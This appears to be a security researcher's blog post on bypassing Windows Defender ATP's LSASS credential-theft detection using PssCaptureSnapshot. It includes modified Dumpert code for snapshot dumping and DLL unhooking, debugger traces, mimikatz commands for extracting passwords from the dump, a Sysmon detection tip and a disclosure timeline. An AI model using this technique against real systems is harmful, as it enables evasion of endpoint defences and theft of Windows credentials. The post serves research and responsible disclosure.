Intro

Recently, I became rather intrigued after reading this article from MSTIC about how Windows Defender Advanced Threat Protection (WDATP) is supposed to detect credential dumping by statistically probing the amount of data read from the LSASS process.

A little background is first necessary, though: on a host guarded by WDATP, when a standard credential-dumper such as mimikatz is executed, it should trigger an alert like the following one.

This alert is, in all likelihood, triggered as a result of mimikatz employing MiniDumpWriteDump when trying accessing the LSASS process, which in turn uses ReadProcessMemory as a means of copying data from one process address space to another one.

Next, ReadProcoessMemory (RPM) performs a system-call through NtReadVirtualMemory which is replicating the same behavior into kernel mode.

— — — — — -Userland — — — —- — — — | — — — Kernel Land — — — — RPM — > NtReadVirtualMemory --> SYSENTER->NtReadVirtualMemory Kernel32 — — -ntdll — — — — — — — — — - — — — — — ntoskrnl

We can then speculate that WDATP is monitoring the amount of bytes read over time, by checking the nSize value from RPM

BOOL ReadProcessMemory ( HANDLE hProcess , LPCVOID lpBaseAddress , LPVOID lpBuffer , SIZE_T nSize , SIZE_T * lpNumberOfBytesRead );

Given all the above, my friend b4rtik and I began discussing different bypass angles which we eventually boiled down to a couple of viable ones.

First of all, we cannot make any use of the original Dumpert as it failed to bypass the WinATP mitigation due to the fact that WinATP employs no NtReadVirtualMemory hook to begin with.

We then tried to extend the unhooking concept as a ReflectiveDLLRefresher technique to all the others loaded DLLs, which also resulted in no relevant hook being found. Although eventually a failure, this idea turned out to be quite an instructive and enlightening one.

Eventually, we rethought the whole problem and decided to take a lateral approach: by accessing the LSASS’s process handle via the PssCaptureSnapshot API, we managed to successfully bypass WDATP Credential Theft Guard.

We’ll see why and how it worked in a minute, but first let’s look into the gory details of our failed, yet eye-opening attempt.

Reflect, Refresh, Rinse & Try-Again

To make our life less miserable, we decided to not build a full-blown project from scratch, but instead customize the well-known dumpert codebase and adapt it to our very own needs.

The first method we pursued has been scouted and developed by the Cylance Vulnerability Research Team and widely documented here. It’s a rather noisy but quite effective harness for scanning the process’s memory space and unhooking all the currently running libraries.

We have imported all the relevant and most interesting code snippets into the modified Dumpert version. This alone, has been proven a failure against credential-theft-guard.

The program walks the IAT table and search for all the loaded DLL, compare them with the version of disk and patch them at runtime in the case a hook is found.

Here is the relevant snippet where the DLL section comparer takes place.

VOID ScanAndFixSection ( PCHAR szSectionName , PCHAR pKnown , PCHAR pSuspect , size_t stLength ) { DWORD ddOldProtect ; if ( memcmp ( pKnown , pSuspect , stLength ) != 0 ) { wprintf ( L " \t [!] Found modification in: " ); printf ( szSectionName ); wprintf ( L "

" ); if ( ! VirtualProtect ( pSuspect , stLength , PAGE_EXECUTE_READWRITE , & ddOldProtect )) return ; wprintf ( L " \t [+] Copying known good section into memory.

" ); memcpy ( pSuspect , pKnown , stLength ); if ( ! VirtualProtect ( pSuspect , stLength , ddOldProtect , & ddOldProtect )) wprintf ( L " \t [!] Failed to reset memory permissions.

" ); } }

After running it on the target Windows10 host, however, the only reported difference was the following.

[*] Scanning module: dbghelp.dll [!] Found modification in: .mrdata [+] Copying known good section into memory.

Which is obviously not very similar to a ring3 hook. Plus, it is also residing in a DLL section that is probably not relevant to our cause.

Snapshot or bust

We came down all this way, we twisted the problem upside down and then looked at it from a different perspective. We then realized that another, and probably not yet fully explored, approach was to exploit an inherit feature of the PssCaptureSnapShot function. As its name suggests, this API generates a process snapshot dump of the handle passed as first arguments (LSASS in our case) and returns a SnapshotHandle (HPSS)

DWORD PssCaptureSnapshot ( HANDLE ProcessHandle , PSS_CAPTURE_FLAGS CaptureFlags , DWORD ThreadContextFlags , HPSS * SnapshotHandle );

Here is the project code piece that is relavant to the PSP API:

DWORD CaptureFlags = ( DWORD ) PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION ; BOOL CALLBACK ATPMiniDumpWriteDumpCallback ( __in PVOID CallbackParam , __in const PMINIDUMP_CALLBACK_INPUT CallbackInput , __inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput ) { switch ( CallbackInput -> CallbackType ) { case 16 : // IsProcessSnapshotCallback CallbackOutput -> Status = S_FALSE ; break ; } return TRUE ; } HANDLE SnapshotHandle ; DWORD dwResultCode = PssCaptureSnapshot ( ProcessHandle , CaptureFlags , CONTEXT_ALL , & amp ; SnapshotHandle );

We could also peek at the interesting anatomy of the API while dynamically travelling from UserLand to KernelMode:

— — — — — -Userland — — — —- — — — — — — — — | — — — Kernel Land — — — — — — PssCaptureSnapShot —> PssNtCaptureSnapshot -> SYSENTER -> ntdll!NtAllocateVirtualMemory Kernel32 — — — — — — — — — — — ntdll — — — — — — — — — - - — ntoskrnl — — —

It will not be an actual 1 to 1 translation from user to kernel mode, but as we’ll see shortly, many other kernel APIs will be called. Let’s take a more insightful look through WinDBG at how the calls are chained together. If we ask KERNEL32 about all the Pss* functions we only get stub placeholder in return

0:001> x KERNEL32!Pss* 00007fff`39fa62d0 KERNEL32!PssQuerySnapshotStub (<no parameter info>) 00007fff`39fa6310 KERNEL32!PssWalkMarkerSeekToBeginningStub (<no parameter info>) 00007fff`39fa6330 KERNEL32!PssWalkSnapshotStub (<no parameter info>) 00007fff`39fa62b0 KERNEL32!PssDuplicateSnapshotStub (<no parameter info>) 00007fff`39fa6300 KERNEL32!PssWalkMarkerGetPositionStub (<no parameter info>) 00007fff`39fa62f0 KERNEL32!PssWalkMarkerFreeStub (<no parameter info>) 00007fff`39fa62e0 KERNEL32!PssWalkMarkerCreateStub (<no parameter info>) 00007fff`39fa62a0 KERNEL32!PssCaptureSnapshotStub (<no parameter info>) 00007fff`39fa6320 KERNEL32!PssWalkMarkerSetPositionStub (<no parameter info>) 00007fff`39fa62c0 KERNEL32!PssFreeSnapshotStub (<no parameter info>)

We can also verify a little further that the stub we are interested in is pointing somewhere else

0:001> u KERNEL32!PssCaptureSnapshotStub KERNEL32!PssCaptureSnapshotStub: 00007fff`39fa62a0 48ff25d9210400 jmp qword ptr [KERNEL32!_imp_PssCaptureSnapshot (00007fff`39fe8480)]

So we place a breakpoint at the very start of the stub and let it run until we hit it.

0:001>bp KERNEL32!PssCaptureSnapshotStub KERNELBASE!PssCaptureSnapshot: 00007fff`39a95fb0 4883ec28 sub rsp,28h 00007fff`39a95fb4 49832100 and qword ptr [r9],0 00007fff`39a95fb8 498bc1 mov rax,r9 00007fff`39a95fbb 458bc8 mov r9d,r8d 00007fff`39a95fbe 448bc2 mov r8d,edx 00007fff`39a95fc1 488bd1 mov rdx,rcx 00007fff`39a95fc4 488bc8 mov rcx,rax 00007fff`39a95fc7 48ff1522080d00 call qword ptr [KERNELBASE!_imp_PssNtCaptureSnapshot (00007fff`39b667f0)] ds:00007fff`39b667f0={ntdll!PssNtCaptureSnapshot (00007fff`3bfd03b0)}

We can so confirm that the actual function code is running from ntdll!PssNtCaptureSnapshot through an additional layer of indirection from KERNELBASE.dll RDX is the actual register holding our LSASS handler which is passed as an argument to ntdll!PssNtCaptureSnapshot.

If we try trace it a little further, we land into the NTDLL realm.

ntdll!PssNtCaptureSnapshot: 00007fff`3bfd03b0 488bc4 mov rax,rsp 00007fff`3bfd03b3 48895808 mov qword ptr [rax+8],rbx 00007fff`3bfd03b7 44894820 mov dword ptr [rax+20h],r9d 00007fff`3bfd03bb 48895010 mov qword ptr [rax+10h],rdx

To gain a full picture of what is going on, we can use the nice ‘wt -l 2’ WinDBG command to gain a two-level-depth hierarchical function call.

0:004> g Breakpoint 0 hit ntdll!PssNtCaptureSnapshot: 00007ff8`d53103b0 488bc4 mov rax,rsp 0:000> wt -l 2 Tracing ntdll!PssNtCaptureSnapshot to return address 00007ff8`d2265fce 43 0 [ 0] ntdll!PssNtCaptureSnapshot 6 0 [ 1] ntdll!NtAllocateVirtualMemory 51 6 [ 0] ntdll!PssNtCaptureSnapshot 139 0 [ 1] ntdll!memset 61 145 [ 0] ntdll!PssNtCaptureSnapshot 18 0 [ 1] ntdll!PsspCaptureProcessInformation 6 0 [ 2] ntdll!NtQueryInformationProcess [..] 276577 instructions were executed in 276576 events (0 from other threads) Function Name Invocations MinInst MaxInst AvgInst ntdll!NtAllocateVirtualMemory 2 6 6 6 ntdll!NtCreateProcessEx 1 6 6 6 ntdll!NtCreateSection 1 6 6 6 ntdll!NtMapViewOfSection 1 6 6 6 ntdll!NtQueryInformationProcess 10 6 6 6 ntdll!PssNtCaptureSnapshot 1 119 119 119 ntdll!PsspCaptureHandleInformation 1 109 109 109 ntdll!PsspCaptureHandleTrace 1 40 40 40 ntdll!PsspCaptureProcessInformation 1 97 97 97 ntdll!PsspWalkHandleTable 2 65302 210681 137991 ntdll!memset 1 139 139 139 15 system calls were executed Calls System Call 2 ntdll!NtAllocateVirtualMemory 1 ntdll!NtCreateProcessEx 1 ntdll!NtCreateSection 1 ntdll!NtMapViewOfSection 10 ntdll!NtQueryInformationProcess

Unsurprisingly enough, what ntdll!PssNtCaptureSnapshot is really doing under the hood, is to allocate memory and create a new process, as we should expect from a true process snapshotter :)

Comfort, joy & mimikatz

We can now move the previously generated dumpert.dmp on another box and feed it to mimikatz to extract the credentials

mimikatz # sekurlsa::minidump dumpert.dmp Switch to MINIDUMP : 'dumpert.dmp' mimikatz # sekurlsa::logonPasswords full

Sysmon to the rescue

Now that we know that this specific MDATP feature can be bypassed, how can we better protect our environment? If implementing Credential Guard on top of Hyper-V is out of question then, as a first suggestion, one could detect any password stealing tool by configuring Sysmon to monitor LSASS and inspect every eventID 10. Although it might generate some false positive, this is a good way to improve global visibility of all event affecting the authentication process.

The aftermath

You can find here our end result as a VS project.

Feel free to ping us on twitter with any feedback ☺️

Disclosure Timeline

02.11.2019: Notified MSRC about the bypass technique.

12.11.2019: Microsoft replied that WDATP bypass is not in scope for the bounty program. MSRC will perform analysis and ask for more information

20.11.2019: Solicited MSRC, got no feedback

27.11.2019: Solicited MSRC once more, got no feedback

02.12.2019: 30 days of non-disclose period over. Findings published







